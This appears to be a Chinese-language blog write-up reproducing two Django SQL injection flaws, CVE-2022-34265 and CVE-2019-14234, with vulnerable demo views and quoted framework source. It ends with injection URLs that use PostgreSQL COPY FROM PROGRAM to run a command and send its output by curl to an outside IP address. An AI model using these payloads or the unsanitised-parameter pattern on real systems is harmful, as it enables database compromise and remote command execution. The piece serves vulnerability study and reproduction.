CVE-2022-34265 &CVE-2019-14234 sql注入

3 分钟

一、漏洞成因

Extract和Trunk源码:



class Extract(TimezoneMixin, Transform):
    lookup_name = None
    output_field = IntegerField()

    def __init__(self, expression, lookup_name=None, tzinfo=None, **extra):
        if self.lookup_name is None:
            self.lookup_name = lookup_name
        if self.lookup_name is None:
            raise ValueError('lookup_name must be provided')
        self.tzinfo = tzinfo
        super().__init__(expression, **extra)

class Trunc(TruncBase):

    def __init__(self, expression, kind, output_field=None, tzinfo=None, is_dst=None, **extra):
        self.kind = kind
        super().__init__(
            expression, output_field=output_field, tzinfo=tzinfo,
            is_dst=is_dst, **extra
        )

Extract用于提取日期,可以提起日期字段中的年,月,日。如2022-7-13 12:12:12可以提取2022。

Trunc用于截取日期,比如日期字段中年,月,日。可以截取2022-7-13。

此次SQL注入漏洞的成因就是将数据赋值给lookup_name或kind时,未经过过滤或转义则直接进行了数据库的查询。

影响版本:3.2.0-3.2.14,4.0.0-4.0.6

二、复现

1.环境搭建

1,数据库的搭建:

2,django搭建



Settings.py:
            
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'cve34265',
        'USER': 'root',
        'PASSWORD': 'root',
        'HOST': 'localhost',
        'PORT': '3306',
    }
}


models.py:
        
from datetime import datetime
from django.db import models


class Experiment(models.Model):
    start_datetime = models.DateTimeField()
    start_date = models.DateField(null=True, blank=True)
    start_time = models.TimeField(null=True, blank=True)

    class Meta:
        db_table = 'experiment'

urls.py:

from cve.views import test
from django.contrib import admin
from django.urls import path

urlpatterns = [
    path('extract_test/',test.extract_test),
    path('trunc_test/',test.trunc_test),
    path('admin/', admin.site.urls),
]





test.py:


from django.shortcuts import render
from django.http import HttpResponse
from django.db.models.functions import Extract, Trunc
from cve.models import Experiment


def extract_test(request):
    lookup_name = request.GET.get('lookup_name')
    test = Experiment.objects.filter(start_datetime__year=Extract('start_datetime', lookup_name)).exists()
    print(test)
    return HttpResponse('extract_test')


def trunc_test(request):
    kind = request.GET.get('kind')
    test = Experiment.objects.filter(start_datetime__day=Trunc('start_datetime', kind)).exists()
    print(test)
    return HttpResponse('trunc_test')

# Create your views here.

3,过程调试:

(1) 进入API函数接口后,首先进入Django的models/query.py的对应方法进行操作处理,如test.py的查询首先调用exists函数:

(2)经过has_results函数等一系列传递,进入compile函数:

(3)compile函数将 得到的结果传入as_sql中:

(4)as_sql函数执行datetime.extract_sql函数:

(5)date_extract_sql函数进入else,生成EXTRACT(YEAR FROM Experiment '.' start
datetime)返回到_query()函数中

返回的语句在数据库中被执行。

总结:对于传入的参数,仅仅只完成了大写的转换,没有检查就拼接到Where的SQL语句中查询,存在SQL注入漏洞,可以使用updatexml或extractvalue报错注入进行查询。

三、CVE-2019-14234

漏洞的成因是开发者使用了JSONField,并且可控制queryset查询时的键名,在键名位置进行注入。本质的原因是搭配postgresql数据库时,通过JSONField生成sql语句时,是通过简单的字符串拼接。



class KeyTransformFactory:
    def __init__(self, key_name):
        self.key_name = key_name

    def __call__(self, *args, **kwargs):
        return KeyTransform(self.key_name, *args, **kwargs)

class KeyTransform(Transform):
    operator = '->'
    nested_operator = '#>'

    def __init__(self, key_name, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.key_name = key_name

    def as_sql(self, compiler, connection):
        key_transforms = [self.key_name]
        previous = self.lhs
        while isinstance(previous, KeyTransform):
            key_transforms.insert(0, previous.key_name)
            previous = previous.lhs
        lhs, params = compiler.compile(previous)
        if len(key_transforms) > 1:
            return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
        try:
            int(self.key_name)
        except ValueError:
            lookup = "'%s'" % self.key_name
        else:
            lookup = "%s" % self.key_name
        return "(%s %s %s)" % (lhs, self.operator, lookup), params
这里原本生成的语句是WHERE(field->'[key_name]'='value',但是这里key_name直接进行的字符串拼接。因而联合postgresql9.3增加一个“COPY
TO/FROM
PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令,便可以造成命令执行。



/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20



/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'curl http://120.79.29.170:5555/`ls /tmp`'--%20

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
(*) 2 + 5 =
快来做第一个评论的人吧~